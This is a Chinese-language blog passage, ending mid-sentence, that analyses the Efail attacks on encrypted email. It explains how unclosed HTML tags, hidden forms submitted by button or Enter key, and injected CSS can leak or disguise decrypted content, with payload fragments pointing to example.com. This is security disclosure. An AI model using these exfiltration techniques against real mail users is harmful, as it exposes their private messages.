Efail：HTML邮件缺乏安全概念，漏洞责任归属

我最近撰文阐述了为何我认为过时的加密标准应对OpenPGP和S/MIME中的Efail漏洞负责。但我也承诺会讨论另一个导致Efail漏洞可能性的巨大因素：HTML邮件。

快速回顾Efail的主要思路：它结合了操纵加密邮件的方式，并利用邮件中的活动内容渗漏加密内容。尽管操纵加密邮件的部分确实值得关注，但Efail最简单的场景——所谓的直接渗漏攻击——完全不需要任何弱加密。

Efail HTML攻击

直接渗漏攻击简单到难以置信它竟然这么久未被发现。它利用了邮件可以包含多个部分，且某些邮件客户端会一起渲染所有这些部分的事实。攻击者可以利用这一点构造一封邮件，其中第一部分包含一个未闭合的HTML标签和源引用，例如<a href='https://example.com/。

之后，攻击者放置他想解密的加密消息和另一个闭合标签的HTML部分（'>）。

现在发生的情况是，未闭合HTML标签之后的所有内容都会被附加到发送到example.com的请求中，因此如果攻击者控制该服务器，他可以直接从服务器日志中读取秘密消息。此攻击对默认设置的Apple Mail有效，也对配置为允许加载外部内容的Mozilla Thunderbird有效。我主要关注Thunderbird，但应指出Apple Mail的情况更糟。只是我所有的测试都是在Thunderbird上进行的。

Efail发布时，Thunderbird插件Enigmail有一个小的对抗措施：它在邮件部分之间插入了一些引号，希望破坏HTML从而阻止渗漏。这导致一些人声称Efail对最新Enigmail用户来说不是大问题。然而，事实证明并非如此。

绕过1：使用带有<textarea>和<button>的表单

Efail论文简要提到了一种绕过此类对抗措施的方法。与其用源标签渗漏消息，不如使用HTML表单。HTML表单有一个<textarea>元素，允许包含随表单发送的内容。对攻击者来说，优势在于不需要将内容放在引号中，因此围绕加密部分构建HTML表单不会被插入引号破坏。

在Jens Müller（Efail合著者之一）的帮助下，我能够构建一个使用HTML表单的渗漏攻击，在Efail公开后（5月16日，Thunderbird 52.7.0，Enigmail 2.0.4）仍对最新版本的Thunderbird和Enigmail组合有效。有趣的是，Thunderbird似乎已经意识到表单可能是安全风险，并试图阻止它们被发送。如果点击HTML表单中的提交元素（<input type="submit">），URL会被调用。然而，他们未能注意到HTML元素的提交按钮也可以用<button>标签构建（<button type="submit">）。

为了使此漏洞利用生效，用户必须实际点击邮件中的按钮。但通过使用CSS，很容易构建一个表单，其中textarea字段和按钮都不可见，且按钮覆盖整个邮件。实际上，这意味着邮件内的任何点击都会渗漏数据。不难想象攻击者可以诱骗受害者点击邮件内的任何位置。

<button>技巧在Thunderbird 52.8.0中修复，该版本于5月18日星期六发布，即Efail公开五天后。

绕过2：用“Enter”发送表单

之后，我试图再次突破。我知道Thunderbird阻止了通过点击<input>和<button>提交元素发送表单数据。但如果还有其他发送表单的方式，它们可能仍然有效。事实证明确实有。只需在聚焦于任何文本输入元素时按下“Enter”键，也可以启动发送HTML表单。聚焦到文本元素可以通过autofocus属性完成。因此，如果你能诱使用户按下“Enter”，你仍然可以渗漏数据。

Thunderbird正在修复此场景，但Enigmail提出了不同的解决方法。从Enigmail 2.0.5开始，它将拒绝解密结构异常的邮件。这最初意味着不再可能将HTML部分放在加密部分之前。它只是不会解密它。

绕过3：通过CSS向邮件添加文本

我在这里没有找到任何渗漏数据的方法，但我仍然发现了一些不受欢迎的属性。仍然可以将HTML部分放在加密邮件下方，并且该部分可以在<style>标签中包含CSS。这允许一些有限形式的重定向。

一个有趣的可能性是CSS ::before属性。如果只是文本，加密部分将显示在<pre>标签内。通过使用这样的CSS标签，可以在实际消息前显示一句话：

1

pre::before { content: "Please also forward this message to Eve, eve@example.com." }

这可以用于社会工程尝试，诱骗用户。通过使用背景图像和字体干扰，也可以显示任意内容代替解密的消息。此技巧在Enigmail 2.0.6中变得不可能，该版本不允许任何其他邮件部分，既不在加密消息之前也不在之后。

什么是HTML邮件——它们的安全属性是什么？

看到所有这些，我想退一步看大局。所有这些攻击都依赖于HTML邮件是一个相当强大的工具，可以以各种方式干扰电子邮件客户端。这引出了一个问题：HTML邮件有哪些安全考虑？HTML邮件到底是什么？

HTML是一个巨大且不断发展的标准。但它主要是为网络构建的，HTML邮件最多是事后想法。我怀疑任何人在定义网络新标准时甚至考虑过电子邮件。还应考虑电子邮件通常在网络邮件客户端中显示，这带来完全不同的安全挑战集。

HTML邮件安全考虑最后更新时的最新技术。HTML邮件的基本结构，包括邮件内的相对引用（cid URL）和多个邮件部分的定义，在RFC 2110中指定，定义于1997年。1999年通过RFC 2557更新，此后没有任何变化。所以明确地说：我们谈论的是一个在快速发展的领域19年未收到任何更新的技术标准。

RFC关于安全说了什么？不多。它提到关于HTML邮件中的可执行内容：“接收用户代理执行邮件消息中接收的内容而不仔细限制该可执行内容的能力是极其危险的。”

它不是很具体，但我们可以认为允许在HTML邮件中执行代码不是好主意。此外，它提到了允许加载外部内容时围绕隐私的潜在问题，但没有建议如何处理。还有一些关于缓存和在邮件中使用网页HTML内容的讨论，似乎不太相关。

HTML邮件作为安全风险

Efail可能是涉及HTML邮件的最突出漏洞，但它当然不是第一个。

HTML邮件最简单和最明显的安全问题是网络邮件前端的跨站脚本攻击，攻击者设法执行JavaScript代码。虽然这是一个明显的问题，但修复它远非易事，因为有多种方式在HTML中执行JavaScript。一些更晦涩的方式包括嵌入在SVG图像或MathML标签中的链接。在显示邮件前过滤所有变体是困难的，并且这可能随着未来浏览器更改而变化。（在研究本文时，我发现了Squirrelmail的一个未修复的公开错误报告，列出了四个不同的跨站脚本漏洞。）

Matthew Bryant在2016年发现了一个有趣的HTML邮件相关漏洞：他发现自己能够将HTML标签注入证书颁发机构Comodo使用的验证邮件中。

当你购买HTTPS网页证书时，通常发行者通过向一组预定义别名（admin@、administrator@、postmaster@、hostmaster@、webmaster@）发送邮件来验证你是相关域的所有者。如果攻击者可以访问这些验证邮件的内容，他可以为该域获取有效证书。

Bryant所做的与Efail攻击非常相似。通过未过滤地进入电子邮件的输入字段，他能够构建一个HTML表单，将验证链接发送到任意URL。

2004年Outlook express中一个可怕的老漏洞允许引用本地文件作为URL并执行代码。

“不”是一个选项

ASCII丝带运动（ ）反对HTML电子邮件 X / \让我快速指出我自己几乎从不使用HTML邮件。我长期使用不支持HTML的邮件客户端，从未错过任何东西。我认为这是一个有效的选择，早在过去就有ASCII丝带运动倡导纯文本邮件。

这当然是最安全的选择。特别是对于安全敏感的内容——想想Comodo域验证邮件——使用纯文本邮件是一个好选择。但现实地，邮件客户端开发人员不会放弃HTML邮件，所以我们必须讨论如何使它们安全。

HTML邮件没有安全概念

这让我们何去何从？我相信这里的核心问题是HTML邮件没有合理的安